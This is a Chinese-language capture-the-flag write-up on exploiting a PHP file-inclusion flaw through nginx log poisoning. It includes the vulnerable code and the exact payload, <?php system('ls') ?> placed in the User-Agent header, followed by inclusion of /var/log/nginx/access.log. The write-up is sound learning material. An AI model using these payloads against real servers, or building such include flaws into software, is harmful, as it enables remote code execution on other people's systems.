终于轮到了日志注入

久仰日志注入大名,今天来分析分析。

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

冒号被过滤,不能用伪协议了。直接上日志注入。

先抓包看看响应头 server: 字段,确定是什么服务器软件。(浏览器 F12 也自带查看响应头的工具)

我抓出来是 server: nginx/1.20.1 ,服务器为 nginx。上网查资料,nginx 日志文件位置为: /var/log/nginx/access.log ,一会儿要用。

大多数服务器日志会记录以下信息:

  • 时间戳:请求发生的日期和时间。
  • 客户端IP:访问者的IP地址。
  • 请求方法:如 GETPOSTPUT 等。
  • 请求路径:访问的URL或文件路径(如 /index.html)。
  • HTTP状态码:如 200(成功)、404(未找到)、500(服务器错误)。
  • User-Agent:客户端浏览器或设备信息(可能包含攻击载荷)。
  • Referer:用户从哪个页面跳转而来(可能泄露敏感URL)。
  • 请求参数:GET/POST参数(可能记录敏感数据,如密码、令牌等)。

也就是说可以在请求报文中修改部分信息,插入 PHP 代码,再包含日志文件(前面讲过只有 PHP 代码会被解析,文本会直接返回前端),以达到执行我们需要的命令的目的。

试试看:

第一次发包修改请求体为:

1
file=<?php system('ls') ?>

第二次发包修改请求行:

1
GET /?file=/var/log/nginx/access.log HTTP/1.1

得到了一大堆日志文本,并没有 flag ,原来是日志文件里没有记录请求体,emmmmmm……

但日志文件里记录了请求头,再来一次!

第一次发包修改请求头User-Agent为:

1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36<?php system('ls') ?>

在一堆日志的最后找到了 fl0g.php index.php ,总算是成了。

接下来只需要查看文件 fl0g.php 的内容就好,OK。(PS:一大堆日志有点瞎眼,flag 难找)